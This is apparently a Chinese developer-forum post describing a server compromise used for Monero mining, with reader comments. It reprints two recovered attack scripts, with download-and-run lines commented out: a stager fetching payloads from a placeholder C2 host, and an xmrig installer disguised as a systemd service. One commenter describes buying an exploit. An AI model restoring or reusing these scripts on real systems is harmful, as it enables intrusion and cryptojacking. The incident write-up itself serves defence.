早上收到阿里云短信,说有一台服务器被用来挖矿,排查发现哥们用漏洞来注入用于挖门罗币。 做开发 12 年了第一次遇到服务器被人搞,说实话还有点刺激还有点兴奋。
复盘一下经过,大家共赏:
1 、收到阿里云报警说有服务器用于挖矿
2 、阿里云后台定位到了大致的挖矿文件

3 、上服务器一看

好家伙确实多了不少东西,有两个核心的攻击脚本,一个是 python1.sh ,一个是 sex.sh ,直接脱敏后放出脚本大家共赏:
#!/bin/bash
# ========== 脱敏说明 ==========
# 1. 攻击者 IP/端口替换为[攻击者 C2 服务器 IP:端口]
# 2. 恶意程序随机文件名替换为[恶意程序随机文件名]
# 3. 下载/执行类恶意逻辑添加注释,仅保留结构
# 4. 核心攻击特征已标注,无任何可执行的恶意代码
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)
l64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l64&stage=true" # Linux x86_64 架构
l32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l32&stage=true" # Linux x86 32 位架构
a64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a64&stage=true" # ARM64 架构
a32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a32&stage=true" # ARM32 架构
v="[恶意程序随机文件名]"
rm -rf $v
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
# (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
# (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
# (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
# (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
# (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi
# chmod +x $v
# (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)
这个主要是为了下载第二层的恶意程序,从实际结果来看,恶意程序伪装成了 docker ,在 tmp 文件夹下跑,由于是二进制文件,目前还没有进一步查验它在做啥,不过大概率也是挖矿,因为看到了一个挖矿的 config 文件。
#!/bin/bash
# ========== 脱敏说明 ==========
# 1. 挖矿池地址/钱包 ID/TLS 指纹替换为占位符,无法用于实际挖矿;
# 2. 下载/解压/执行类恶意命令全部注释,仅保留攻击结构;
# 3. 服务器环境特征(如$(pwd))替换为占位符,避免溯源风险;
# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"( 6.24.0 )
BINARY_PATH="[当前路径]/$EXTRACT_DIR/xmrig"
ARGS="--url [恶意挖矿池地址] --user [攻击者挖矿钱包 ID] --pass next --donate-level 0 --tls --tls-fingerprint [恶意 TLS 指纹]"
SERVICE_NAME="system-update-service"
# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
# curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
# tar xvzf "$TAR_FILE"
fi
# chmod +x "$BINARY_PATH"
# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
echo "Root privileges detected. Attempting systemd setup..."
SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
# cat <<EOF > "$SERVICE_FILE"
# [Unit]
# Description=System Update Service
# After=network.target
#
# [Service]
# Type=simple
# ExecStart=${BINARY_PATH} ${ARGS}
# Restart=always
# RestartSec=10
# User=root
#
# [Install]
# WantedBy=multi-user.target
# EOF
# systemctl daemon-reload
# systemctl enable "$SERVICE_NAME"
# systemctl start "$SERVICE_NAME"
if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "Service started via systemd."
INSTALLED_SYSTEMD=1
fi
fi
# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
echo "Starting with nohup..."
# nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi
是的你没看错,这个脚本甚至自带注释,甚至还 echo 了进度……不知道这个人从哪下的示例代码分发的……逻辑比较清晰,把挖矿程序伪装成系统服务。
4 、处理
由于感染的服务器是公司很边缘的、用于内部一些脑洞项目 poc 测试的小服务器,所以在权限管理上十分松懈,直接用 root 用户部署的各类小 Demo App ,导致这次漏洞也轻松的让攻击者获得了 root 权限,可能还替换了部分系统文件,机器肯定是不能留了……
下一步排查一下上面在跑的服务,备份数据,销毁重建。
1
hcy 16 小时 36 分钟前
脚本估计都是 llm 生成的。
|
2
realpg PRO 这下鼓吹卸载 agent 的不吱声了
|
3
dianso 16 小时 32 分钟前
4 号早上 200U 买的 exp
不过算是亏了,因为 cdn 厂都做了 waf 了 不过还是有些可以搞的 spa ,前后端分离的搞不了 我发现 umami 用户基本很少用 docker 部署,直接就拿到 root 权限了,反而是 docker 部署的安全。 |
4
NewYear 15 小时 39 分钟前 阿里云是真的急,因为大家的资源都被用掉,物理服务器资源就不够分了。
|
6
kulove 15 小时 19 分钟前 via Android 国内的云有点不地道 这种等级的漏洞 你不买 waf 最多扫描给你个提醒 而不是直接拦截 真善人还是得看 cloudflare
|
9
kierankihn 13 小时 46 分钟前 @MIUIOS https://blog.cloudflare.com/waf-rules-react-vulnerability/
All Cloudflare customers are automatically protected, including those on free and paid plans, as long as their React application traffic is proxied through the Cloudflare Web Application Firewall (WAF). |
10
kulove 13 小时 32 分钟前 via Android
@XDiLa ??有毛病就去治 以 cf 举例子自然是指同类型的产品 你给我在这扯云服务器搞什么 都是搞互联网的难道我不知道在没开启防护的情况下厂商没权利拦截请求?
|
11
mxT52CRuqR6o5 13 小时 31 分钟前
@kierankihn #9 cdn 和云主机完全不是一种产品啊,哪有这么比较的
|
13
kingofzihua 13 小时 29 分钟前
@kierankihn 真大善人啊
|
15
catazshadow 13 小时 7 分钟前 via Android
xmrig 就是挖门罗的
|
16
tyzrj766 12 小时 38 分钟前
我 docker 部署了 umami ,没及时更新就中招了,已经停+删了,现在正常了,还好是 docker
|
17
typeaudit 12 小时 5 分钟前
还是搞容器部署比较好,这样资源隔离想要提权也比较麻烦
|
18
usn PRO 说什么都别骂人吧,你怎么就能确定自己开口一定正确呢
|
19
usn PRO 向楼上
|
20
SakurajimaMa 8 小时 50 分钟前
中招了
|
21
Ansen 8 小时 12 分钟前
开发不给力,只好先禁止所有非 GET 和 OPTION 请求
|
22
jiayouzl 8 小时 12 分钟前
如果通过 docker 部署的话,是不是相对要安全很多?至少服务器不会被完全污染?
|
23
holoto 7 小时 42 分钟前
程序还是花点时间 用容器打包运行 隔离宿主环境比较好
|
24
jackleo120 5 小时 16 分钟前
@jiayouzl 相对安全些,但是也可以在容器里挖的,间接影响宿主机。 也有一些容器是文件挂载出来,会影响点,
|
25
mizuhashi 28 分钟前
⏰人的敏感點我屬實捉摸不透
|